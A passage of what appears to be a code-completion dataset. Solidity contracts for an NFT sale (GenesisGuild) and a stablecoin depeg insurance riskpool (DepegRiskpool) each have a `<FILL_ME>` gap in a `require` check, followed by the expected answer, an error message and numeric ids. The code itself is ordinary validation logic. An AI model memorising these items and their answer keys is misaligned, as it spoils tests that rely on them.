_newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); // If it is an NFT TRANSFER if ((from != address(0)) && (to != address(0))) { require(<FILL_ME>) } } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
_canTransfer(),"Not sold out"
193,185
_canTransfer()
"Not whitelisted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { if (need_wl) { require(<FILL_ME>) } } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
hasRole(WL_MINT_ROLE,_msgSender()),"Not whitelisted"
193,185
hasRole(WL_MINT_ROLE,_msgSender())
"ERROR:DRP-001:ACCOUNT_NOT_ALLOWED_FOR_BUNDLE_CREATION"
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { require(<FILL_ME>) _; } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
isAllowed(_msgSender()),"ERROR:DRP-001:ACCOUNT_NOT_ALLOWED_FOR_BUNDLE_CREATION"
193,294
isAllowed(_msgSender())
"ERROR:DRP-016:STAKING_NOT_ISTAKING"
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { _staking = IStakingFacade(stakingAddress); require(<FILL_ME>) _chainRegistry = IChainRegistryFacade(_staking.getRegistry()); } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
_staking.implementsIStaking(),"ERROR:DRP-016:STAKING_NOT_ISTAKING"
193,294
_staking.implementsIStaking()
"ERROR:DRP-020:NAME_NOT_UNIQUE"
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.2; import "IERC20Metadata.sol"; import "BasicRiskpool.sol"; import "IBundle.sol"; import "IPolicy.sol"; import "IBundleToken.sol"; import "BasicRiskpool2.sol"; import "IChainRegistryFacade.sol"; import "IStakingFacade.sol"; contract DepegRiskpool is BasicRiskpool2 { struct BundleInfo { uint256 bundleId; string name; IBundle.BundleState state; uint256 tokenId; address owner; uint256 lifetime; uint256 minSumInsured; uint256 maxSumInsured; uint256 minDuration; uint256 maxDuration; uint256 annualPercentageReturn; uint256 capitalSupportedByStaking; uint256 capital; uint256 lockedCapital; uint256 balance; uint256 createdAt; } event LogRiskpoolCapitalSet(uint256 poolCapitalNew, uint256 poolCapitalOld); event LogBundleCapitalSet(uint256 bundleCapitalNew, uint256 bundleCapitalOld); event LogAllowAllAccountsSet(bool allowAllAccounts); event LogAllowAccountSet(address account, bool allowAccount); event LogBundleExtended(uint256 bundleId, uint256 createdAt, uint256 lifetime, uint256 lifetimeExtended); event LogBundleExpired(uint256 bundleId, uint256 createdAt, uint256 lifetime); event LogBundleMismatch(uint256 bundleId, uint256 bundleIdRequested); event LogBundleMatchesApplication(uint256 bundleId, bool sumInsuredOk, bool durationOk, bool premiumOk); // values according to // https://github.com/etherisc/depeg-ui/issues/328 bytes32 public constant EMPTY_STRING_HASH = keccak256(abi.encodePacked("")); uint256 public constant MIN_BUNDLE_LIFETIME = 14 * 24 * 3600; uint256 public constant MAX_BUNDLE_LIFETIME = 180 * 24 * 3600; uint256 public constant MIN_POLICY_DURATION = 14 * 24 * 3600; uint256 public constant MAX_POLICY_DURATION = 120 * 24 * 3600; uint256 public constant MIN_POLICY_COVERAGE = 2000 * 10 ** 6; // as usdt amount uint256 public constant MAX_POLICY_COVERAGE = 10 ** 6 * 10 ** 6; // as usdt amount uint256 public constant ONE_YEAR_DURATION = 365 * 24 * 3600; uint256 public constant APR_100_PERCENTAGE = 10**6; uint256 public constant MAX_APR = APR_100_PERCENTAGE / 5; uint256 public constant EXTENSION_INTERVAL = 31 * 24 * 3600; // allowed interval to extend at end of lifetime mapping(uint256 /* bundle id */ => uint96 /* nft id for bundle */) private _bundleNftId; mapping(uint256 /* bundle id */ => uint256 /* lifetime extension */) private _bundleLifetimeExtension; mapping(string /* bundle name */ => uint256 /* bundle id */) private _bundleIdForBundleName; IChainRegistryFacade private _chainRegistry; IStakingFacade private _staking; // managed token IERC20Metadata private _token; uint256 private _tokenDecimals; // sum insured % of protected amount // 100 corresponds to a depeg price value down to 0.0 is covered by the policy // 20 corresponds to only depeg values down to 0.8 are covered // ie even if the chainlink price feed would report 0.65 at depeg time // the policy holder payout is capped at 0.80 uint256 private _sumInsuredPercentage; // capital caps uint256 private _riskpoolCapitalCap; uint256 private _bundleCapitalCap; // bundle creation whitelisting mapping(address /* potential bundle owner */ => bool /* is allowed to create bundle*/) _allowedAccount; bool private _allowAllAccounts; modifier onlyAllowedAccount { } constructor( bytes32 name, uint256 sumOfSumInsuredCap, uint256 sumInsuredPercentage, address erc20Token, address wallet, address registry ) BasicRiskpool2(name, getFullCollateralizationLevel(), sumOfSumInsuredCap, erc20Token, wallet, registry) { } function setCapitalCaps( uint256 poolCapitalCap, uint256 bundleCapitalCap ) public onlyOwner { } function setAllowAllAccounts(bool allowAllAccounts) external onlyOwner { } function isAllowAllAccountsEnabled() external view returns(bool allowAllAccounts) { } function setAllowAccount(address account, bool allowAccount) external onlyOwner { } function isAllowed(address account) public view returns(bool allowed) { } function setStakingAddress(address stakingAddress) external onlyOwner { } function getStaking() external view returns(IStakingFacade) { } function getChainRegistry() external view returns(IChainRegistryFacade) { } function createBundle( string memory name, uint256 lifetime, uint256 policyMinProtectedBalance, uint256 policyMaxProtectedBalance, uint256 policyMinDuration, uint256 policyMaxDuration, uint256 annualPercentageReturn, uint256 initialAmount ) public onlyAllowedAccount returns(uint256 bundleId) { require(<FILL_ME>) require( lifetime >= MIN_BUNDLE_LIFETIME && lifetime <= MAX_BUNDLE_LIFETIME, "ERROR:DRP-021:LIFETIME_INVALID"); // get sum insured bounds from protected balance bounds uint256 policyMinSumInsured = calculateSumInsured(policyMinProtectedBalance); uint256 policyMaxSumInsured = calculateSumInsured(policyMaxProtectedBalance); require( policyMaxProtectedBalance >= policyMinProtectedBalance && policyMaxProtectedBalance <= MAX_POLICY_COVERAGE && policyMaxSumInsured <= _bundleCapitalCap, "ERROR:DRP-022:MAX_PROTECTED_BALANCE_INVALID"); require( policyMinProtectedBalance >= MIN_POLICY_COVERAGE && policyMinProtectedBalance <= policyMaxProtectedBalance, "ERROR:DRP-023:MIN_PROTECTED_BALANCE_INVALID"); require( policyMaxDuration > 0 && policyMaxDuration <= MAX_POLICY_DURATION, "ERROR:DRP-024:MAX_DURATION_INVALID"); require( policyMinDuration >= MIN_POLICY_DURATION && policyMinDuration <= policyMaxDuration, "ERROR:DRP-025:MIN_DURATION_INVALID"); require( annualPercentageReturn > 0 && annualPercentageReturn <= MAX_APR, "ERROR:DRP-026:APR_INVALID"); require( initialAmount > 0 && initialAmount <= _bundleCapitalCap, "ERROR:DRP-027:RISK_CAPITAL_INVALID"); require( getCapital() + initialAmount <= _riskpoolCapitalCap, "ERROR:DRP-028:POOL_CAPITAL_CAP_EXCEEDED"); bytes memory filter = encodeBundleParamsAsFilter( name, lifetime, policyMinSumInsured, policyMaxSumInsured, policyMinDuration, policyMaxDuration, annualPercentageReturn ); bundleId = super.createBundle(filter, initialAmount); if(keccak256(abi.encodePacked(name)) != EMPTY_STRING_HASH) { _bundleIdForBundleName[name] = bundleId; } // Register the new bundle with the staking/bundle registry contract. // Staking and registry are set in tandem (the address of the registry is retrieved from staking), // so if one is present, its safe to assume the other is too. IBundle.Bundle memory bundle = _instanceService.getBundle(bundleId); if (address(_chainRegistry) != address(0) && isComponentRegistered(bundle.riskpoolId)) { registerBundleInRegistry(bundle, name, lifetime); } } function extendBundleLifetime( uint256 bundleId, uint256 lifetimeExtension ) external onlyBundleOwner(bundleId) { } function getNftId(uint256 bundleId) public view returns(uint96 nftId) { } function getBundleLifetimeData(uint256 bundleId) public view returns( IBundle.BundleState state, uint256 createdAt, uint256 lifetime, uint256 extendedLifetime, bool isExpired ) { } function getSumInsuredPercentage() external view returns(uint256 sumInsuredPercentage) { } function calculateSumInsured(uint256 protectedBalance) public view returns(uint256 sumInsured) { } function depegPriceIsBelowProtectedDepegPrice(uint256 depegPrice, uint256 targetPrice) public view returns(bool isBelowProtectedPrice) { } function getProtectedMinDepegPrice(uint256 targetPrice) public view returns(uint256 protectedDepegPrice) { } function isComponentRegistered(uint256 componentId) private view returns(bool) { } /** * @dev Register the bundle with given id in the bundle registry. */ function registerBundleInRegistry( IBundle.Bundle memory bundle, string memory name, uint256 lifetime ) private { } function getBundleInfo(uint256 bundleId) external view returns(BundleInfo memory info) { } function getFilterDataStructure() external override pure returns(string memory) { } function encodeBundleParamsAsFilter( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) public pure returns (bytes memory filter) { } function decodeBundleParamsFromFilter( bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
_bundleIdForBundleName[name]==0,"ERROR:DRP-020:NAME_NOT_UNIQUE"
193,294
_bundleIdForBundleName[name]==0
"ERROR:DRP-028:POOL_CAPITAL_CAP_EXCEEDED"
